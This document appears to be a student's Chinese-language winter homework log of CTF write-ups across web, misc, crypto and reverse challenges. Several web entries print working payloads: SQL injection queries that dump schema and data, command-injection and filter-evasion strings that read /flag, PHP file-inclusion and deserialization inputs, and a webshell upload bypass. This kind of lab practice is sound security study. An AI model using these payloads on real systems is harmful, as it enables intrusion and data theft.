云曦网络空间安全研究室2024级寒假作业

1.8

1、Web

①、 变量1 -bukgu

PHP代码读一下:

1、error_reporting(0); 这行代码设置错误报告级别为0,也就是禁用错误报告。

2、include “flag1.php”; 这行代码用于包含一个名为"flag1.php"的文件。

3、highlight_file(_file_); 这行代码用于将当前文件的源代码进行语法高亮并输出到浏览器。

4、die(“args error!”); 这行代码输出错误信息"args error!"并终止程序的执行。

5、if(isset($_GET[‘args’])){} 这个条件判断语句检查是否存在名为"args"的GET参数。如果存在,则执行后面的代码块。

6、$args = $_GET[‘args’]; 这行代码将GET参数"args"的值赋给变量$args。

7、eval(“var_dump( $ $ args);”); 这行代码使用eval()函数将变量$args的值作为PHP代码执行,也就是通过var_dump()函数将$ args变量的值输出。

8、if(!preg_match("/^\w+/ " , /",/",args)){ } :这个条件判断语句使用正则表达式检查$args变量的值是否符合\w+\w是一个“单词字符”的简写,它在正则表达式中代表字母、数字以及下划线(_))这个模式,也就是是否只包含字母、数字和下划线。如果不符合,则执行后面的代码块。

开始是不了解变量的,去搜了也不认识是什么变量,就干脆用全局变量了

PHP中一些常见的全局变量类型:

  1. $GLOBALS:这是一个关联数组,包含了所有的全局变量。你可以通过它来访问在脚本任何地方定义的变量。

  2. $_SERVER:这是一个包含了诸如头信息、路径和脚本位置等信息的数组。

  3. $_GET:包含了通过URL传递的所有GET请求数据。

  4. $_POST:包含了通过表单提交的所有POST请求数据。

  5. $_REQUEST:包含了GET、POST、COOKIE和环境变量。

  6. $_SESSION:用于访问会话变量,需要会话启动(session_start())。

  7. $_COOKIE:包含了所有的cookie数据。

  8. $_ENV:包含了环境变量。

  9. $_FILES:包含了通过enctype="multipart/form-data"上传的文件信息。

  10. $argc$argv:提供了命令行参数。

  11. $HTTP_RAW_POST_DATA:在PHP 5.6.0之后,用于访问原始POST数据。

  12. $HTTP_COOKIE_VARS:是一个旧的、不安全的数组,包含了所有的cookie数据,不推荐使用。

构造/?args=GLOBALS,得到flag

常见的Web变量类型及其用途:

  1. 服务器变量:由服务器提供,包括关于服务器环境的信息,如SERVER_SOFTWAREREMOTE_ADDR(客户端IP地址)等。

  2. 环境变量:与服务器变量类似,但更多地关联于操作系统或运行时环境,如PATHTEMP等。

  3. 会话变量(Session Variables):存储在服务器端,用于跟踪用户会话的信息。它们可以用来在多个页面请求之间保持用户状态。

  4. 请求变量(Request Variables):与用户的HTTP请求相关,包括查询字符串(QUERY_STRING)、表单(POST 数据)、cookies、HTTP头等。

  5. URL参数:在URL中传递的变量,通常用于传递状态或标识符给Web应用程序。

  6. 表单变量:通过HTML表单提交的数据,可以在服务器端作为变量处理。

  7. Cookie变量:存储在用户浏览器中,用于在用户会话期间或跨会话保持状态。

  8. 全局变量:在PHP等语言中,全局变量(如 $_GET$_POST$_SERVER)可以访问请求数据。

  9. 局部变量:在脚本或函数内部定义的变量,它们的作用域限定在定义它们的那部分代码内。

  10. 配置变量:Web应用程序的配置设置,可能存储在配置文件中,用于控制应用程序的行为。

②、源代码-bukgu 

打开环境源代码,看到很多“%35%34%61%61%32”这样的字符刚开始不知道是什么,搜了知道是url编码,把每一个url编码进行解密后加到一起,输入即可得到flag 

③、bp-bukgu

打开以为是简单的弱口令爆破,试了几次发现长度都一样没有答案 

就看了一下响应发现以前是没见过的,去搜了一下这个用于检查一个名为 r 的对象中的 code 属性 

就需要在 Grep-Match添加 {code: 'bugku10000'}在进行爆破,虽然爆破完也没有不同的长度,但是出现了其他的东西

看到zxc123最特殊就拿它去试试看能不能得到flag,然后成功得到flag

2、Misc

easy_nbt

 不认识nbt,去搜了一下,应该是nbt编辑器

下载nbt编辑器,打开解压缩的文件,搜=搜索flag,找到flag

3、Crypto

你懂我的乐谱吗?

解压的文件是一个图片乐谱,说实话看不懂

在网上搜索得到键盘与乐谱的对照图,手搓得到flag 

4、Reverse

特殊的Base64

首先查壳,无壳 

 

 使用ida打开,发现base64编码,和base64的自定义编码

使用自定编码base64工具进行解密得到flag

1.9

1、Web 

本地管理员

抓包没有什么关键,发现base64加密 

 解密,猜测是密码

管理员一般是admin,密码应该是test123 ,伪造XFF

发送到重发器,得到flag 

2、Misc

zip伪加密 

需要密码,用010打开 

修改09为00

 得到flag

3、Crypto

你喜欢下棋吗

和下棋有关,搜素得到棋盘密码,手搓得出密码,不过要改成小写 

解密得到flag的加密

搜索知道这是5bit,解密得到flag 

②[鹤城杯 2021]easy_crypto 

 核心价值观解密得到flag

③[SWPUCTF 2021 新生赛]crypto8 

uuencode解密得到flag  

4、Reverse 

①[HDCTF 2023]easy_re

查壳 

 

脱壳

base64解密得到flag   

1.10

1、Web

 备份是个好习惯

 

打开环境得到一串字符串也不知道有什么用,通过观察可以发现是两串一模一样的字符串d41d8cd98f00b204e9800998ecf8427e,但也没什么思路

不过题目是备份,应该是要找bak文件 用dirsearch扫描一下,找到.bak文件

获取bak文件,读代码得到key1不等于key2,但它们的md5值相同,这样可以得到flag,所以猜测d41d8cd98f00b204e9800998ecf8427e是它们的md5值

PHP 的 md5() 函数无法处理数组,如果传入的为数组,会返回 NULL。因此,两个数组经过 md5() 加密后得到的都是 NULL,从而满足 md5($key1) == md5($key2) 的条件,即使 $key1$key2 本身不同

PHP 的弱比较 == 会将某些特定的字符串解释为科学计数法。如果两个字符经 MD5 加密后的值为 0e 开头的形式,会被认为是科学计数法,且表示的是 0 * 10 的几次方,结果是 0,从而相等。以下是一些已知的字符串,它们的 MD5 值以 0e 开头:

  • QNKCDZO
  • 240610708
  • s878926199a
  • s155964671a
  • s214587387a

所以我们可以构造?kekeyy1=240610708&kekeyy2=QNKCDZO得到flag

2、Misc

密室逃脱

打开word得到一串像摩斯密码的,解密

 应该是压缩包的密码,得到明显被改过的图片,尝试用010改回去

把98改成A8 

 得到

 

将获取到的wifi密码的前四位1234在链接中输入得到“WIFI密码的前四位”的文件夹,跟着docx的步骤是修改图片高的,直接跳过

将654321输入WIFI IS WHAT.zip的密码,又得到一个docx和一个zip,在docx里有得到一个密码

解压缩得到,感觉好像回到最初

和 

 

对照得到 Ome

后面没感觉没思路,又回去看了一遍

所以flag应该是所有密码按得到的顺序拼接 flag{xjpc123456welcOme} 

3、Crypto

 ①这不是md5

一开始我真的以为它是md5,但都告诉我不是了,我只能往其他方向想 

md5:128位2进制(01)代码,然后用16进制显示的,就是32位(128/4=32)。包含0-9a-f共16个字
符。

一开始是真的没想到,后面觉得可能是16进制 

②你以为是md5吗

得到bci177a7a9c7udf69c248647b4dfc6fd84o,确实不是md5

 把不属于0-9,a-f的删了,得到bc177a7a9c7df69c248647b4dfc6fd84

成功得到flag,真的很6 

4、Reverse

mobile2(gctf) 

解压之后得到很多文件,真的不像一个逆向题 

 在010里找到了flag

② love

无壳 

想得到right flag就要Dest数组和Str2数组前v2(就是Dest数组长度)个字符匹配相同 

for循环倒过来实现Dest之前的样子e2lfbDB2ZV95b3V9 (忘记截脚本图了)

最后Str怎么转化成Dest,因为有提示base64input和ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=

得到flag

1.11

1、Web

[SWPUCTF 2021 新生赛]jicao

读一下代码:

highlight_file('index.php'):显示 index.php 文件的内容,并对其进行语法高亮

include("flag.php"):包含一个名为 flag.php 的文件,该文件可能定义了一个变量 $flag,用于存储标志字符串。

$id = $_POST['id']:从 POST 请求中获取 id 参数的值,并赋给变量 $id

if ($id == "wllmNB" && $json['x'] == "wllm") {echo $flag;} :

检查两个条件:

  • $id 是否等于 "wllmNB"
  • $json 数组中的 x 键的值是否等于 "wllm"

如果这两个条件都满足,则输出 $flag

所以在get 请求中需要填入:?json={"x":"wllm"}

post请求填入:id=wllmNB

即可得到flag 

2、Misc

[LitCTF 2023]喜欢我的压缩包么 (初级)

根据提示设置口令长度 

接触密码打开zip文件得到一张图片,得到flag 

3、Crypto

[HDCTF 2023]爬过小山去看云

据题目hill,猜到是希尔密码 

根据提示得到数组: 3 4 19 11,解密 

将解密的数字写出来得到: 842084210884024084010124

不认识是什么密码,后面看wp 是云影密码,写个脚本解一下,得到flag

云影密码,又称为“01248密码”,是一种古典密码学中的加密方法。它使用数字 0、1、2、4、8 来表示英文字母,其中 0 用作间隔符,其他数字通过加法组合表示 1 到 26 之间的数字,这些数字对应英文字母表中的位置。

4、Reverse

①[HGAME 2023 week1]encode

 第一步查壳

没有壳,用ida 打开 

找到main函数按F5反编译

读一下伪代码

  • v4[100]:一个整型数组,用于存储处理后的数据。
  • v5[52]:一个字符数组,用于存储输入字符串。
  • j 和 i:循环变量。
  • 使用 memset 函数将 v5 和 v4 数组初始化为 0。
  • sub_4011A0(a50s, (char)v5);:调用 sub_4011A0 函数,传入字符串 a50s 和 v5 数组。这个函数的具体实现未知,但可以推测它可能将 a50s 的内容复制到 v5 中。
  • 将 v5 中的每个字符拆分为两个 4 位的整数,并存储到 v4 中。
  • v4[2 * i] = v5[i] & 0xF;:取 v5[i] 的低 4 位。
  • v4[2 * i + 1] = (v5[i] >> 4) & 0xF;:取 v5[i] 的高 4 位。
  • 遍历 v4 数组,与预设的 dword_403000 数组进行比较。
  • 如果 v4[j] 与 dword_403000[j] 不相等,调用 sub_401160 函数并返回 0。
  • sub_401160(Format, v4[0]);:调用 sub_401160 函数,传入 Format 和 v4[0]。这个函数的具体实现未知,但可以推测它可能用于输出错误信息。
  • 如果所有元素都匹配,调用 sub_401160(aYesYouAreRight, v4[0]); 函数,传入 aYesYouAreRight 和 v4[0]。这个函数的具体实现未知,但可以推测它可能用于输出成功信息

先找一下100个数的数组

写下来就是下图的这一串 

 

将for循环逆向编译 就可以得到flag,脚本如下

运行得到flag

②[LitCTF 2023]程序和人有一个能跑就行了

无壳 

 

ida打开,反编译main函数

 大概意思就是buf1是程序里面的数据,然后我们输入的内容给buf2,key是litctf,加密出来喝buf1比较,所以我们现在只要buf1来解密就可以得到flag

这个一看就不对,再看一遍

框图里面有两个,意思是一个对的,一个错的,那就是另一个(左边),右边那个是伪代码里面的不对

1.12

1、Web

[LitCTF 2023]PHP是世界上最好的语言!!

构造 <?php system("cay/flag");?>得到flag

2、Misc

 [LitCTF 2023]OSINT 探姬去哪了?_0

打开得到一张图片 

在属性里找到经纬度,看来是社工 

将经纬度进行转化 

在经纬度查询定位工具里定位到 浙江省嘉兴市秀洲区,一次寻找,发现是中国电信大夏

3、Crypto

 [鹤城杯 2021]A_CRYPTO

ROT13(rotate by 13 places)是一种字母替换密码,通过将字母表中的每个字母移动 13 个位置来加密或解密文本。由于字母表有 26 个字母,ROT13 是一种对称加密算法,即加密和解密使用相同的算法。 

ROT13解密

16进制转字符串

base32解密 

base64解密

base85解密,一开始解不出来以为弄错了,看来wp就是base85,用脚本解一下得到flag

4、Reverse

①[HGAME 2023 week1]easyenc

查壳

ida打开找到main函数F5查看伪码

把 v8 的每一 byte 提取出来,然后利用异或的性质解出明文 

字节序,又称端序或尾序,指的是多字节数据在计算机内存中的存放顺序。

大小端:大端和小端是两种不同的字节序表示方法

脚本运行得到flag

②[HUBUCTF 2022 新生赛]simple_RE

查壳 

ida打开找到main函数F5查看伪码 

v6是flag,经过sub_401570加密,得到a5mc58bphliax7j对应的加密后的值,是加密后的flag值 

看一下sub_401570怎样加密

不是很看得懂,大佬的wp说是把是“flag进行变异的base64编码,编码结果为a5mc58bphliax7j对应的数据,即5Mc58bPHLiAx7J8ocJIlaVUxaJvMcoYMaoPMaOfg15c475tscHfM/8== ”这样就比较清晰了,可以写脚本来运行了

1.13 

1、Web

[GDOUCTF 2023]泄露的伪装

打开环境好像没什么提示。直接dirsearch

得到两个文件,不管先下载下来

在gift(2)得到提示 

打开 orzorz.php得到

读一下代码,大概意思是代码中的 file_get_contents 是一个读取文件内容函数,我们需要向参数cxk,传入ctrl以获得flag

构造 data:// 协议: ?cxk=data://text/plain,ctrl

 data:// 协议是一种允许在 URL 中直接嵌入数据的协议。在 PHP 中可以用于生成和处理小型数据流

格式:data:[<mediatype>][;base64],<data>

  • <mediatype>:MIME 类型,例如 text/plaintext/htmlimage/png 等。
  • base64:如果数据是 Base64 编码的,需要加上 ;base64
  • <data>:实际的数据内容

2、Misc 

[GDOUCTF 2023]misc_or_crypto? 

打开得到一张图片,是rsa ,得到密钥

 和加密的文本 

工具在线解密

16进制转 ASCLL

3、Crypto

[FSCTF 2023]兔帽的奇妙冒险

根据题目提示,第一步是base64解密

第二步是rabbit解密,加上固定的格式头

流密码是一种对称密钥加密算法,它将明文数据流逐位(或逐字节)加密。流密码通常用于加密数据流,如网络通信中的数据包或文件流。与分组密码(如 AES)不同,流密码处理的是连续的数据流,而不是固定大小的数据块。

Rabbit 是一种高性能的流密码加密算法,通常用于对数据进行加密和解密。Rabbit 算法加密后的数据通常以 U2FsdGVkX1 开头。这个固定的头是 crypto-js 库的格式 

4、Reverse

①[GDOUCTF 2023]Check_Your_Luck

打开是一个cpp文件,用Devc++打开 

读代码可以知道需要传入五个随机数满足for循环,使用脚本实现 

将脚本中的数字四舍五入输入得到flag 

② [HGAME 2023 week1]a_cup_of_tea

查壳

ida打开找到main函数F5查看伪码

 

大概意思是输入的数据经过处理后与预设的Buf2数组的前34个字节完全相同,则输出"Congratulations!",否则输出"wrong..."

脚本输出得到flag

1.14

1、Web

[FSCTF 2023]ez_php1

一开始以为又是一个弱比较问题,结果更复杂

$a不等于$b,但它们的MD5哈希值相等,如果条件成立,输出"!!!" ,检查POST参数FL_AG是否存在,如果存在,检查变量$ja是否包含字符串"flag",如果包含,输出"You are bad guy!!!",如果不包含,输出"Congratulation!!"和变量$hint1的值

所以构造get:?a=240610708&b=QNKCDZO

post:FL_AG=1

得到L0vey0U.php 文件,直接访问

尝试反序列化$str,如果反序列化后的结果等于$KEY,则输出$hint2。假设$hint2globals.php中定义。

构造序列化字符串,反序列化后等于$KEY

得到?str=s:10:"YES I love";进行get 传参

得到P0int.php ,访问

Clazz有两个公共属性$a$b__wakeup方法在对象被反序列化时调用,它会读取文件g0t_f1ag.php的内容,并将其Base64编码后赋值给$a__destruct方法在对象被销毁时调用,它会输出$b的值。

反序列化POST参数data:使用@符号抑制错误输出。反序列化POST参数data

 构造一个包含Clazz对象的序列化字符串,并通过POST请求发送给服务器。

得到O:5:"Clazz":2:{s:1:"a";N;s:1:"b";R:2;},进行post 传参

 

得到的字符串容易看出是base64,解密

在PHP中,反序列化是一个将字符串转换回PHP值的过程。这个过程可以通过unserialize函数实现。 

2、Misc

 [FSCTF 2023]小试牛刀

 010打开得到一个错误的flag 

base62解密,得到一个密码 

看wp知道原来是需要一个JPHS的工具,打开工具点击save,输入两次密码得到flag 

3、Crypto

[LitCTF 2023]Hex?Hex!(初级)

Hex解密 

4、Reverse

 [HGAME 2023 week1]test your IDA 

查壳

ida打开即可看见flag

 

[WUSTCTF 2020]level2 

upx壳,32位 

脱壳

ida打开得到flag

1.15

1、Web

  [SWPUCTF 2021 新生赛]include 

根据题目提示传入file 

读以下代码

 可知allow_url_include 状态为on,最后有include_once($file); 想到题目include,应该是文件包含,用php伪协议,用filter读取flag.php里面的信息构造

url ?file=php://filter/read=convert.base64-encode/resource=flag.php

是base64解密

  

2、Misc

[LitCTF 2023]What_1s_BASE (初级)

base64解密 

 

3、Crypto

[LitCTF 2023]Virginia 

维吉尼亚解密,密钥flag 

因为开头是LitCTF,可以手搓出凯撒密码的变化,写脚本的成绩flag 

  

4、Reverse

①[HGAME 2023 week1]easyasm

可以看出txt是一个从 ida 上扒下来的汇编代码 

可以看出是一个for循环和xor加密 

在汇编语言中,i = dword ptr -4 这行代码表示在函数的栈帧中分配一个4字节(dword)的局部变量 i,并将其初始化为0。这个局部变量 i 用于循环计数。

脚本得出flag 

②[FSCTF 2023]MINE SWEEPER

alt+T搜索flag 或ctf 

1.16

1、Web

[FSCTF 2023]Hello,you

 题目提示rce 

ls查看根目录 

得到 

过滤出flag.php,因为cat,tac被禁止了,所以用less 

2、Misc 

 010打开,base64编码 

解密得到flag 

3、Crypto

[CISCN 2023 初赛]Sign_in_passwd

 base64 换表 

脚本得到flag 

4、Reverse

无壳 

 base64码表 

main函数的反函数 

 Str是输入的flag,先经过base64这个函数加密

 读一下base64函数,看到basechange(Source),可能将base64表换了,if之后的就是干扰了

 ,找到Destination,可以得到被加密的变化的base64表:gJ1BRjQie/FIWhEslq7GxbnL26M4+HXUtcpmVTKaydOP38of5v90ZSwrkYzCAuND 

直接找工具解密  

②[FSCTF 2023]signin

有壳

脱壳

ida打开

 简单的替换,在循环内部,它检查当前字符 v4 的值,如果是 '1',则将其替换为 'i',如果是 '4',则替换为 'a',如果是 '5',则替换为's',如果是 '0',则替换为 'o'。得到flag

1.17

1、Web

[LitCTF 2023]Vim yyds

提到vim,先用dirsearch查一下

存在swp,可以获取文件

 在kali里用vim编辑器打开,得到

读代码可知,定义了一个password=Give_Me_Your_Flag,如果post传参password=“Give_Me_Your_Flag”的base64加密并且 传一个cmd=“xxxx"的值,则可以得到Oh You got my password!

将 Give_Me_Your_Flag进行base64加密

构造password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&cmd=cat /flag进行POST传参,成功得到flag 

2、Misc

 [SWPUCTF 2023 秋季新生赛]GIF Code

 Stegsolve截取gif每一帧的图,总共九帧,拼接为二维码

扫码得到flag 

3、Crypto

[LitCTF 2023]你是我的关键词(Keyworld) (初级) 

第一眼以为是凯撒密码,结果是关键字密码,关键字为:You 

4、Reverse

①[HNCTF 2022 WEEK4]checker

找到源代码的主函数

大概意思是对password进行解密得到的字符串与goldenticket相等,将goldenticket进行base64加密就行 

 

对应输入得到flag

②[HNCTF 2022 WEEK2]getflag

无壳 

这个次数有点不现实,所以可以尝试去修改它

用ida打开,找到check函数

修改cmp 的值 

1.18

1、Web 

[FSCTF 2023]EZ_eval

读一下代码;

过滤cattactailmoreheadnlflagless和空格

eval("?>". $word);:?>表示代码闭合,后面不能继续执行

可以用php短标签:

1、​<? echo '123';?> :有配置参数short_open_tags=on​​

​2、<script language="php">echo 'hello'; :不需要修改参数开关,但是只能在7.0以下可用。​​

3、​<% echo '123';%> :开启配置参数asp_tags=on,并且只能在7.0以下版本使用​​

 构造?word=<script%09language='php'>system('ls%09/');</script>找到根目录

构造 ?word=<script%09language='php'>system('ca\t%09/fl$*ag');</script>过滤得到flag

2、Misc

[GDOUCTF 2023]pixelart

题目提示像素,查看图片属性

 

zsteg查看隐写数据得到flag 

3、Crypto

[GDOUCTF 2023]Absolute_Baby_Encrytpion

把里面的参数提取出来然后再对照js码得到flag,运行脚本得到flag

4、Reverse

①[FSCTF 2023]EZRC4

无壳 

 ida找到main 函数查看伪码

  • data[27]:用于存储要加密的数据。

  • key[17]:用于存储加密密钥。

  • key_len:密钥的长度。

  • 调用 rc4_crypt 函数对 data 数组进行加密。参数 0x1Bu 表示数据长度为27,0x10u 表示密钥长度为16。

查看rc4_crypt 

 调用 rc4_init 函数初始化S盒,初始化索引 ij 为0。遍历数据,生成密钥流并与数据进行异或操作。

运行脚本得到flag

 ②[HGAME 2023 week3]cpp

无壳 

ida打开两个错误的flag 

F5查看伪码

 v6 = sub_1400026A0((_DWORD)v5, (unsigned int)"hgame{th1s_is_4_fake_fl4g_hahaha}", 305419896, (unsigned int)"hgame{this_is_another_fake_flag}", v7):调用函数进行加密或验证操作,结果存储在 v6

看到int_64这个函数,大概是说检查 a1 对象的某个成员变量是否满足条件,如果条件不满足,设置 v6 为0,否则计算 v6 的值

反正它是个异或,运行得到flag

1.19

1、Web

[LitCTF 2023]Ping 

输入127.0.0.1试试 

禁用JavaScript函数,输入 127.0.0.1;ls /    ,可以看到根目录

输入 127.0.0.1;cat /flag ,过滤出flag

2、Misc

[HDCTF 2023]MasterMisc 

解压还是zip文件,需要密钥 ,而且还是分卷压缩文件,先合并

使用 ARCHPR爆破一下

 里面是一张图片 ,用010打开,里面藏了一张图片,分离出来

使用foremost可以分离出一个音频,和一张图

先看图片,010打开

修改图片高度 

得到一串可能是flag的部分 

分析音频文件,查看频谱图得到HDCTF{e67d8104

感觉还差了一点,从头再看一遍,在第一张图片发现了最后一部分

所以flag=HDCTF{e67d8104-7536-4433-bfff-96759901c405}

3、Crypto

[LitCTF 2023]yafu (中级)

 根据题目yafu分解素数,得到 f_list=libnum.factorize(n)

或者直接写脚本得到flag

import gmpy2
from Crypto.Util.number import long_to_bytes

n = 15241208217768849887180010139590210767831431018204645415681695749294131435566140166245881287131522331092026252879324931622292179726764214435307

e = 65537
c = 12608550100856399369399391849907846147170257754920996952259023159548789970041433744454761458030776176806265496305629236559551086998780836655717

p1=2151018733
p2=2201440207
p3=2315495107
p4=2585574697
p5=2719600579
p6=2758708999
p7=2767137487
p8=2906576131
p9=2923522073
p10=3354884521
p11=3355651511
p12=3989697563
p13=4021078331
p14=4044505687
p15=4171911923


phi = (p1 - 1) * (p2 - 1) * (p3 - 1) * (p4 - 1) * (p5 - 1) * (p6 - 1) * (p7 - 1) * (p8 - 1) * (p9 - 1) * (p10 - 1) * (p11 - 1) * (p12 - 1) * (p13 - 1) * (p14 - 1) * (p15 - 1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
print(long_to_bytes(m))

4、Reverse

①[GDOUCTF 2023]Tea

无壳 

 找到正确的flag 出现

根据函数变化

v7为key,被改为{2233,4455,6677,8899} 

运行脚本

 转字符串

②[CISCN 2023 初赛]babyRE 

打开时xml文件

notepad++打开,

看到flag,错的 

继续读,大概是secret变换后的异或加密 

1.20

1、Web

[SWPUCTF 2021 新生赛]easyupload1.0

题目要求传一个jpg文件,分别传一个一句话木马的php文件和jpg文件抓包对比一下不同,当我们把php文件的content-Type 改了和jpg文件相同时,可以看到文件的上传路径

使用蚁剑连接,可以看到flag,不过是错的

看大佬的wp真正的flag在phpinfo里

2、Misc

[LitCTF 2023]破损的图片(初级)

010打开,发现3F有八个,开头一般是文件结构,所以应该是png图片:89 50 4E 47 0D 0A 1A 0A 

        

修复图片得到flag

3、Crypto 

[BJDCTF 2020]base??

字符顺序被替换的base64编码表。 

 找到chipertext中的每个字符在dict中对应的位置(下标),再找到这些位置在标准base64编码表中对应的字符 

4、Reverse

①[FSCTF 2023]Xor

无壳 

  ida找到main 函数查看伪码

使用 qmemcpy将字符串 "t~suiFz{aM{aMsMwsakMwdwawo" 放到数组 a 的前28个字节。将数组 a 的第29个字节(索引为28)设置为 18(十六进制的 0x12),所以数组 a 的内容为:t~suiFz{aM{aMsMwsakM`wdw`awo

字符串 b 的每个字节进行异或操作,遍历数组 ab 的每个字节,逐个比较它们的内容。如果发现任何不匹配的字节,程序会输出 "Wrong!!!" 

异或得到flag 

②[LitCTF 2023]debase64 

 无壳

  ida查看伪码

看sub_402290()的作用

sub_402290 是一个确保初始化逻辑只执行一次的函数 

 看函数 sub_401520(v13, v4),作用处理 Base64 编码的数据,并将其解码为原始字节序列

 脚本运行得到:Y0uReallyKn0wB4sAAAA

题目提示最后有3个=,就是要进行密码爆破

1.21

1、Web

[LitCTF 2023]1zjs

查看网页源码,根据提示“js”找到/index.umd.js,然后可以知道需要访问/f@k3f1ag.php 

可以发现是JSFuck编码,解码

flag=NSSCTF{6e360905-7fc8-43ba-ae3d-8fa4e08e292c}  

2、Misc

[LitCTF 2023]两仪生四象 (中级) 

题目的作用是将一个字符串(LitCTF)转换为基于八卦符号的编码 

脚本运行得到flag

3、Crypto

[SWPUCTF 2023 秋季新生赛]EasyRSA 

 rsa运算

 将整数转换为字节序列

 4、Reverse

①[LitCTF 2023]ez_XOR

无壳

查看和flag相关的伪代码 

输入一个字符串与3异或后和str2相同则输出“U Saved IT!”,所以flag就是str2

运行脚本得到flag 

②[HGAME 2023 week2]before_main

ida打开 

 

调用 sub_12EB 函数对输入的字符串 v6 进行处理与AMHo7dLxUEabf6Z3PdWr6cOy75i4fdfeUzL17kaV7rG=对比,如果相同,输出“congratulations!”

 sub_12EB 函数:

将输入的字符串编码为 Base64 格式的字符串 ,将AMHo7dLxUEabf6Z3PdWr6cOy75i4fdfeUzL17kaV7rG=进行base64解密,发现不对

再看发现qword_4020 作为 Base64 编码表,索引对应的字符,找

在 qword_4020发现可疑sub_1229

 查看sub_1229,发现疑似base64的编码表

 解码得到flag

1.22

1、Web

[SWPUCTF 2021 新生赛]easy_sql

 查看是否有无参数

参数wllm ,输入wllm=1,回显正常

输入wllm=1'报错,字符型注入 

输入 ?wllm=1' order by 1--+, 直到?wllm=1' order by 4--+报错,所以为3列.报错,所以为3列.

 

 通过占位符查看回显

爆数据库名 :?wllm=-1' union select 1,2,database()--+

 爆表: ?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'--+

爆字段: ?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='test_tb'--+

爆字段值:  ?wllm= -1' union select 1,2,group_concat(id,flag) from test_tb--+ 

 

2、Misc

[SWPUCTF 2021 新生赛]gif好像有点大

在562帧找到二维码 

识别得出flag 

 

3、Crypto

[WUSTCTF 2020]佛说:只能四天

打开txt文件,佛曰密码,但是没有解出来,再看了题目描述知道有“《旧约全书》和《新约全书》”,然后佛曰密码同样,要使用新约佛解密

解出来核心价值观编码,继续解码

解出提示栅栏,题目提示4,所以栏数为4,继续解密

揭秘提示凯撒,继续解密

 base32

4、Reverse

①[SWPUCTF 2021 新生赛]简简单单的逻辑

附件的意思是flag与list异或输出得到result

②[LitCTF 2023]世界上最棒的程序员

没有壳 

ida打开shift+F12

1.23

1、Web

[SWPUCTF 2021 新生赛]easyupload2.0

直接传php文件得到不到,用dirsearch扫描一下

有flag文件先传一下,果然什么都没有,再试一试upload

  

 使用bp抓包,修改php的后缀名为phtml,得到上传路径

蚁剑连接得到flag

2、Misc

[NISACTF 2022]为什么我什么都看不见

 010打开,文件头很明显缺失,大概可以猜出是png的格式,补全文件头,看待完整的图片

       

 StegSolve打开进行分析

3、Crypto

[SWPUCTF 2021 新生赛]pigpig

认识了新的密码:猪圈密码 

手搓得到flag:whenthepigwanttoeat 

4、Reverse

①[SWPUCTF 2021 新生赛]非常简单的逻辑题

 flag的值与17相除取整得到s1,与17相除取余

S1和S2拼接


 

②[MoeCTF 2022]Hex

没有壳 

在ida里没有找到,仔细看了题目描述,用notepad++打开找到flag

1.24

1、Web

[SWPUCTF 2021 新生赛]babyrce

检查用户是否设置了名为admin的Cookie,并且其值为1,条件满足,输出next.php文件

bp抓包在重发器添加cookie值,发送,得到 rasalghul.php

 访问rasalghul.php

过滤了空格 ,使用$IFS$9代替空格,查找根目录

过滤flag

2、Misc

[LitCTF 2024]你说得对,但__

二维码识别出是米哈游的下载界面 

用010打开进行分析,发现隐藏了png文件,进行文件分离,得到四张二维码的不同位置,把它们拼起来

  

二维码在线识别得到flag 


3、Crypto

[NSSCTF 2022 Spring Recruit]classic

凯撒解密,错误的 

提示base解密,应该是base32

4、Reverse

①[HNCTF 2022 WEEK2]Packet

upx壳 

脱壳

ida查看主函数伪码

输入v5经过do_something函数处理储存到str2,将处理后的字符串Str2与一个名为enc的字符串进行比较

 do_something函数

实现了一个自定义的编码函数

在ida中可以找到base64的编码和自定义编码

进行解码得到flag


 

②[WUSTCTF 2020]level1

ida打开 

flag有20位,对奇数左移,偶数乘法(根据txt文件的数组,转化为acill)

1.25

1、Web

[SWPUCTF 2021 新生赛]Do_you_know_http

提示browser,抓包修改 User-Agent

放包显示“You can only read this at local!”,伪造XFF

2、Misc

[LitCTF 2024]关键,太关键了!

题目的意思应该是需要要找出出现频率最高的字符 

在线工具统计后为bingo,进行关键字解密

3、Crypto

[MoeCTF 2022]vigenere

 题目提示vigenere,进行密码爆破

4、Reverse

①[HNCTF 2022 Week1]Little Endian

没有壳 

enc数组进行异或

脚本进行异或 

最后把每个元素转换为十六进制字符串,并去掉前缀 0x 进行逆序

②[BJDCTF 2020]encode

upx壳 

脱壳

ida找到和flag相关的函数查看伪码 

能看出flag是21位,并经过多次加密

1.26

1、Web

 [SWPUCTF 2021 新生赛]ez_unserialize

dirsearch扫描

 分别访问,可以robots.txt 文件

访问cl45s.php

 创建了两个函数__construct()函数和__destruct()函数,这两个的功能分别是初始化admin和passwd以及判断admin和passwd的值是否为ture。如果admin==="admin",passwd==="ctf"的话,则echo出包含的flag文件

脚本反序列化 

构造?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";},输出flag 

② [LitCTF 2023]Follow me and hack me 

get 和post传参 

③  [SWPUCTF 2021 新生赛]easyrce 

构造?url=system('ls /'); ,查找根目录 

过滤flag

2、Misc

[SWPUCTF 2021 新生赛]我的银行卡密码 

密码爆破 ,题目提示密码六位

打开md文件

The encryption scheme of next stage is decided by the last letters.表明下一步的解密方案由最后一个字母决定——letters

看大佬wp说是九宫格键盘密码:第一排的数字里可以看到第一个数范围在2-9,第二个数的范围在1-3

 YLOPJOGJVOCCYNMZYPGXGPOGJDVIGATBASH,最后atbash,说明是atbash密码

bolkqltqelxxbmnabktctkltqwert,最后是qwerty键盘密码

得到xisraseacsuuxzykxreverse,看到reverse,得到xkyzxuuscaesarsix

是凯撒密码,偏移量为6

 md源文件提示NSSCTF{REVERSE(**@@@@@@@@**)} ,所以再次逆向

NSSCTF{moortser}

3、Crypto

[LitCTF 2023]原来你也玩原神 (初级)

好迷茫的的密码,提瓦特文字 

网上找了对照表,手搓

flag=LITCTF{YUANLAINIYEWANYUANSHENWWW}

4、Reverse

[HNCTF 2022 WEEK3]Double

没有壳 

查看主函数 

双进程通信问题,将arr[i ^ buf]enc[i]进行比较

脚如下 

int main()
{
    int enc[60] = {......    };
    int arr[256] = {......    };
    for (int j = 0; j < 60; j++)
    {
        for (int i = 0; i < 265; i++)
        {
            if (enc[j] == arr[i])
            {
                printf("%c", j^ i);
            }
        }
   }

2.4

1、Web

